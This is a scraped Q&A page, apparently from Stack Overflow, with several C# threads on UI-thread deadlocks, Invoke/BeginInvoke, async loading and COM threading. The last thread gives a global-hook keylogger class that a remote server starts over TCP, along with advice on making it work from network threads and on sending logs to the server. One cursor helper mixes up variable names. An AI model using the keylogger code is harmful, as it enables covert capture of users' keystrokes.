We just started running in to an odd problem with a FileSystemWatcher where the call to Dispose() appears to be hanging. This is code that has been working without any problems for a while but we just upgraded to .NET3.5 SP1 so I'm trying to find out if anyone else has seen this behavior. Here is the code that creates the FileSystemWatcher:
if (this.fileWatcher == null)
{
this.fileWatcher = new FileSystemWatcher();
}
this.fileWatcher.BeginInit();
this.fileWatcher.IncludeSubdirectories = true;
this.fileWatcher.Path = project.Directory;
this.fileWatcher.EnableRaisingEvents = true;
this.fileWatcher.NotifyFilter = NotifyFilters.Attributes;
this.fileWatcher.Changed += delegate(object s, FileSystemEventArgs args)
{
FileWatcherFileChanged(args);
};
this.fileWatcher.EndInit();
The way this is being used is to update the state image of a TreeNode object (adjusted slightly to remove business specific information):
private void FileWatcherFileChanged(FileSystemEventArgs args)
{
if (this.TreeView != null)
{
if (this.TreeView.InvokeRequired)
{
FileWatcherFileChangedCallback d = new FileWatcherFileChangedCallback(FileWatcherFileChanged);
this.TreeView.Invoke(d, new object[]
{
args
});
}
else
{
switch (args.ChangeType)
{
case WatcherChangeTypes.Changed:
if (String.CompareOrdinal(this.project.FullName, args.FullPath) == 0)
{
this.StateImageKey = GetStateImageKey();
}
else
{
projectItemTreeNode.StateImageKey = GetStateImageKey();
}
break;
}
}
}
}
Is there something we're missing or is this an anomoly from .NET3.5 SP1?
Just a thought... Any chance there's a deadlock issue here?
You're calling TreeView.Invoke, which is a blocking call. If a filesystem change happens just as you're clicking whatever button causes the FileSystemWatcher.Dispose() call, your FileWatcherFileChanged method will get called on a background thread and call TreeView.Invoke, which will block until your form thread can process the Invoke request. However, your form thread would be calling FileSystemWatcher.Dispose(), which probably doesn't return until all pending change requests are processed.
Try changing the .Invoke to .BeginInvoke and see if that helps. That may help point you in the right direction.
Of course, it could also be a .NET 3.5SP1 issue. I'm just speculating here based on the code you provided.
Scott, we've occasionally seen issues with control.Invoke in .NET 2. Try switching to control.BeginInvoke and see if that helps.
Doing that will allow the FileSystemWatcher thread to return immediately. I suspect your issue is somehow that the control.Invoke is blocking, thus causing the FileSystemWatcher to freeze upon dispose.
We are also having this issue. Our application runs on .Net 2.0 but is compiled by VS 2008 SP1. I have .NET 3.5 SP1 installed as well. I've got no idea why this happens either, it doesn't look like a deadlock issue on our end as no other threads are running at this point (it is during application shutdown).
Related
What I want to do:
- synchronously (or even asynchronously) load settings from USB drive before first page loads
What I did:
- in OnLaunched method for App.xaml.cs I invoked this static function:
public static async void LoadSettings(string folderName = "Config", string fileName = "Settings.xml")
{
try
{
StorageFile configFile = null;
// scan through all devices
foreach (var device in await KnownFolders.RemovableDevices.GetFoldersAsync().AsTask().ConfigureAwait(false))
{
// folder that should have configuration
var configFolder = await device.GetFolderAsync(folderName).AsTask().ConfigureAwait(false);
if (configFile != null && configFolder != null && await configFolder.GetFileAsync(fileName).AsTask().ConfigureAwait(false) != null)
{
throw new Exception("More than one configuration file detected. First found configuration file will be used.");
}
else
configFile = await configFolder.GetFileAsync(fileName).AsTask().ConfigureAwait(false);
}
if (configFile == null)
throw new Exception("Configuration file was not found, please insert device with proper configuration path.");
string settingString = await FileIO.ReadTextAsync(configFile).AsTask().ConfigureAwait(false);
XmlSerializer serializer = new XmlSerializer(typeof(Settings));
using (TextReader reader = new StringReader(settingString))
{
AppSettings = (Settings)serializer.Deserialize(reader); // store settings in some static variable
}
}
catch (Exception e)
{
//return await Task.FromResult<string>(e.Message);
}
//return await Task.FromResult<string>(null);
}
As you can see right now it's async void method, so I don't even want to synchronize it in any way with UI thread. It should just fire and do something. With ConfigureAwait(false) I want to be sure that it will never try to return to context. These returns at the end are remnants of other things I tried (I wanted to do this better way, this is the most primitive solution and it still doesn't work).
Anyway, because that's where the fun begins: everything works well when I debug application on local machine with Win 10. And I get deadlocked thread on Win 10 IOT installed on Raspberry Pi 3 (I installed it from the scratch today, last version).
But deadlock is not the weirdest thing. Weirdest thing is when it appears.
Like I said, invocation of this method looks like that:
protected override void OnLaunched(LaunchActivatedEventArgs e)
{
Configuration.Settings.LoadSettings();
After that everything in this method goes normally, so I navigate to my first page somewhere below:
if (e.PrelaunchActivated == false)
{
if (rootFrame.Content == null)
{
rootFrame.Navigate(typeof(LogScreen), e.Arguments);
}
Window.Current.Activate();
}
Everything still works. User needs to write his code, I check if this code is available in settings and after that user can press "OK" to move to next page. Somewhere in LogScreenViewModel this method is responsible for that:
private void GoForward(bool isValid)
{
try
{
_navigationService.NavigateTo("MainPage"); // it's SimpleIoc navigation from MVVMLight
}
catch (Exception e)
{
Debug.WriteLine($"ERROR: {e.Message}");
}
}
And deadlock happens when _navigationService.NavigateTo("MainPage") is reached. Basically right now UI thread freezes. If I wait for long enough I will see catched exception in Output saying that messenger seemed occupied (I can't show the screen because I don't have access to that Raspberry right now) and after some timeout this thread was killed (like 30 seconds or something) - after that UI thread unlocks and application proceeds to MainPage. It doesn't happen on PC - MainPage appears immediately, no exceptions, no deadlocks.
I tried waiting on first page for like 1 minute to check if some deadlock exception would fire on it's own - but it doesn't. It will fire ONLY after I try to proceed to next page.
What else I tried instead of this fire-and-forget approach:
Making OnLaunched async and await LoadSettings returning Task - same thing happens in the same place, and no problem on PC.
Using:
Window.Current.Dispatcher.RunAsync(Windows.UI.Core.CoreDispatcherPriority.Normal, async () => await Configuration.Settings.LoadSettings(); ).AsTask().Wait(); If I remember correctly it deadlocked immediately on Wait(), even with ConfigureAwait(false) everywhere, but it also happened on PC.
Allowing LogScreen to load, make it's OnNavigatedTo method async and await LoadSettings - same deadlock in same place
Allowing LogScreen to load and use Dispatcher from there like in point 2. It deadlocked the same way after reaching Wait(), on PC too.
Trying to force LoadSettings to be fully synchronous by replacing every await with AsTask().GetAwaiter().GetResults(). It worked well on PC... and of course deadlock on Raspberry.
What am I missing? What else can I try? Because to be honest right now it looks to me that Win 10 IOT .NET runtime is bugged or something.
I think I resolved the issue. This code was generally speaking not mine and after some digging I noticed that someone before me tried to list some other external devices while navigating to MainPage. It was not really async-safe code (someone probably wasn't aware of synchronization context) and it worked on Win 10 only because on desktop it was looking for COM0 device and I only have COM2, so method causing trouble was not even invoked at all.
I still have no idea how related it was to my configuration (because it somehow was working without it), but after I fixed issues with this old not-async-safe code it started to behave as expected.
Im using System.Windows.Application.Current.Dispatcher.BeginInvoke(DispatcherPriority.Input, new Action(() => ... for a wpf graphic refresh.
It works in my other function greatfully, but in my SQL delete function it wount be triggered/executed.
I tried it with System.Windows.Forms.Application.DoEvents(); but it wount do anything.
Set_Loading_Changed()
{
System.Windows.Application.Current.Dispatcher.BeginInvoke(
DispatcherPriority.Input,
new Action(() =>
{
if (BLoading)
{
DataGrid_Anzeige.IsEnabled = false;
Mouse.OverrideCursor = System.Windows.Input.Cursors.Wait;
}
else
{
DataGrid_Anzeige.IsEnabled = true;
Mouse.OverrideCursor = null;
}
}));
}
Btn_Remove()
{
...
Set_Loading_Changed();
using (OleDbConnection ODC = new OleDbConnection("..."))
{
foreach (var selectedRow in DataGrid_Anzeige.SelectedItems.OfType<DataRowView>())
{
sSQL_Statement = "...";
ODC.Open();
OleDbCommand ODCmd = new OleDbCommand(sSQL_Statement, ODC);
ODCmd.ExecuteNonQuery();
ODC.Close();
EDIT:
I insert the complete part of my Set_Load_Changed() function, hope you can get a clue with this informations.
Im using it primarly in my search Thread (Task.Factory.StartNew(() => { ... }));) so it must be the DispatcherPriority.Input.
You're running into a common issue with misunderstanding the WPF threading system. The way WPF is structured is with one thread for the program to run and modify the UI in, usually called the UI thread, and a second thread which you have no normal way of using, which automatically renders the UI, commonly called the rendering or compositing thread.
The key point you need to know here is that if you stall the UI thread with a large operation (like a database read or a large calculation) immediately after BeginInvoke(), then you're preventing the UI thread from running those commands until you allow it to invoke the next action. BeginInvoke() simply queues the action to be performed the next time the dispatcher is allowed - the dispatcher will not interrupt what is currently being done. Setting the priority to Input ensures that it will be handled ahead of other lower priority work, but still will not cause it to interrupt your current method.
If you instead call Invoke(), you are interrupting your work to ask the dispatcher to perform the action and then return to what you're doing when it's finished.
While this is preferable to the behavior you're currently getting, this isn't how you're intended to use the dispatcher, and will still cause your app to appear 'frozen' while it completes the long operation. To avoid this, the easiest thing to do is run the long operation in a Task, using the async/await keywords and the Task Parallel Library.
Stephen Cleary has an excellent blog where he covers a lot of topics related to this. His introductory post (dating back to the keywords' introduction) is here.
I would encourage poking around his blog if you have more issues in this area - he's one of the leading experts in explaining this area, and has covered most of the problems you run into.
Further reading:
What's the difference between Invoke() and BeginInvoke()?
WPF Threading Model
To change the cursor in WPF is unfortunately not as straightforward as in WinForms. I remember struggling with it myself until I stumbled upon the following solution. I didn't come up with this myself, I'll try and find the source to give credit where it is due.
using System;
using System.Collections.Generic;
using System.Windows.Input;
namespace MyNamespace
{
public class OverrideCursor : IDisposable
{
static Stack<Cursor> s_Stack = new Stack<Cursor>();
public OverrideCursor(Cursor changeToCursor = null)
{
if (changeToCursor == null)
changeToCursor = Cursors.Wait;
s_Stack.Push(changeToCursor);
if (Mouse.OverrideCursor != changeToCursor)
Mouse.OverrideCursor = changeToCursor;
}
public void Dispose()
{
s_Stack.Pop();
var cursor = _stack.Count > 0 ? _stack.Peek() : null;
if (Mouse.OverrideCursor != cursor)
Mouse.OverrideCursor = cursor;
}
}
}
Now this disposable class can be used anywhere in your project to change the cursor temporarily.
using (new OverrideCursor())
{
//your code
}
This will change the cursor to anything you want by passing the cursor as parameter of the constructor, or nothing to use Cursors.Wait by default.
For the time needed to execute any code placed inside the using-block the cursor will be changed turning back to normal afterwards.
You can also initiate an object of the class without the using-block to set it indefinitely but you shouldn't forget to call Dispose() when done.
Edit: source: https://stackoverflow.com/a/675686/4579864
If want to do whatever you are doing in Set_Loading_Changed() before you connect to the database, you should call Invoke instead of BeginInvoke:
Set_Loading_Changed()
{
System.Windows.Application.Current.Dispatcher.Invoke(...);
}
What's the difference between Invoke() and BeginInvoke()
I have a C# multi-threaded app with a bunch of worker threads in different pools all calling this function to update a textbox in a WinForms app.
It has a very subtle bug (or maybe not if you know what you are doing) that results in an Out-Of-Memory exception over a long period of time (I think because the stack never gets to unroll, but I'm not sure).
What is the correct way to update a textbox from any thread in my app without encountering this issue? The root problem is Application.DoEvents, but I don't know how to force a GUI update without it (if I take it out, the GUI never updates).
Ideally the solution would be a function that I can call from any thread that just does the right thing.
private void WriteStatus(string s)
{
if (textBoxStatus.InvokeRequired)
{
textBoxStatus.Invoke(new Action<string>(WriteStatus), new object[] { s });
}
else
{
StringBuilder sb = new StringBuilder(s + Environment.NewLine);
sb.Append(textBoxStatus.Text.Substring(0, textBoxStatus.Text.Length > 40000 ? 40000 : textBoxStatus.Text.Length));
textBoxStatus.Text = sb.ToString();
// don't call DoEvents more than once a second - this prevents stack over flow from frequent updates
if (DateTime.Now - lastGUIUpdate > TimeSpan.FromSeconds(1))
{
Application.DoEvents();
lastGUIUpdate = DateTime.Now;
}
}
}
I've looked at other SO solutions for this problem, but they seem to ignore the Application.DoEvents step. How are they forcing their GUI to update in this circumstance? In my app commenting this line out fixes my memory problems, but my textbox never updates.
I've just "earned" the privilege to maintain a legacy library coded in C# at my current work.
This dll:
Exposes methods for a big legacy system made with Uniface, that has no choice but calling COM objects.
Serves as a link between this legacy system, and another system's API.
Uses WinForm for its UI in some cases.
More visually, as I understand the components :
*[Big legacy system in Uniface]* ==[COM]==> [C# Library] ==[Managed API]==> *[Big EDM Management System]*
The question is: One of the methods in this C# Library takes too long to run and I "should" make it asynchronous!
I'm used to C#, but not to COM at all. I've already done concurrent programming, but COM seems to add a lot of complexity to it and all my trials so far end in either:
A crash with no error message at all
My Dll only partially working (displaying only part of its UI, and then closing), and still not giving me any error at all
I'm out of ideas and resources about how to handle threads within a COM dll, and I would appreciate any hint or help.
So far, the biggest part of the code I've changed to make my method asynchronous :
// my public method called by the external system
public int ComparedSearch(string application, out string errMsg) {
errMsg = "";
try {
Action<string> asyncOp = AsyncComparedSearch;
asyncOp.BeginInvoke(application, null, null);
} catch (ex) {
// ...
}
return 0;
}
private int AsyncComparedSearch(string application) {
// my actual method doing the work, that was the called method before
}
Any hint or useful resource would be appreciated.
Thank you.
UPDATE 1:
Following answers and clues below (especially about the SynchronizationContext, and with the help of this example) I was able to refactor my code and making it to work, but only when called from another Window application in C#, and not through COM.
The legacy system encounters a quite obscure error when I call the function and doesn't give any details about the crash.
UPDATE 2:
Latest updates in my trials: I managed to make the multithreading work when the calls are made from a test project, and not from the Uniface system.
After multiple trials, we tend to think that our legacy system doesn't support well multithreading in its current config. But that's not the point of the question any more :)
Here is a exerpt of the code that seems to work:
string application;
SynchronizationContext context;
// my public method called by the external system
public int ComparedSearch(string application, out string errMsg) {
this.application = application;
context = WindowsFormsSynchronizationContext.Current;
Thread t = new Thread(new ThreadStart(AsyncComparedSearchAndShowDocs));
t.Start();
errMsg = "";
return 0;
}
private void AsyncComparedSearch() {
// ANY WORK THAT AS NOTHING TO DO WITH UI
context.Send(new SendOrPostCallback(
delegate(object state)
{
// METHODS THAT MANAGE UI SOMEHOW
}
), null);
}
We are now considering other solutions than modifying this COM assembly, like encapsulating this library in a Windows Service and creating an interface between the system and the service. It should be more sustainable..
It is hard to tell without knowing more details, but there are few issues here.
You execute the delegate on another thread via BeginInvoke but you don't wait for it. Your try\catch block won't catch anything as it has already passed while the remote call is still being executed. Instead, you should put try\catch block inside AsyncComparedSearch.
As you don't wait for the end of the execution of remote method (EndInvoke or via callback) I am not sure how do you handle the results of the COM call. I guess then that you update the GUI from within AsyncComparedSearch. If so, it is wrong, as it is running on another thread and you should never update GUI from anywhere but the GUI thread - it will most likely result with a crash or other unexpected behavior. Therefore, you need to sync the GUI update work to GUI thread. In WinForms you need to use Control.BeginInvoke (don't confuse it with Delegate.BeginInvoke) or some other way (e.g. SynchronizationContext) to sync the code to GUI thread. I use something similar to this:
private delegate void ExecuteActionHandler(Action action);
public static void ExecuteOnUiThread(this Form form, Action action)
{
if (form.InvokeRequired) { // we are not on UI thread
// Invoke or BeginInvoke, depending on what you need
form.Invoke(new ExecuteActionHandler(ExecuteOnUiThread), action);
}
else { // we are on UI thread so just execute the action
action();
}
}
then I call it like this from any thread:
theForm.ExecuteOnUiThread( () => theForm.SomeMethodWhichUpdatesControls() );
Besides, read this answer for some caveats.
I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !
The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.
I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.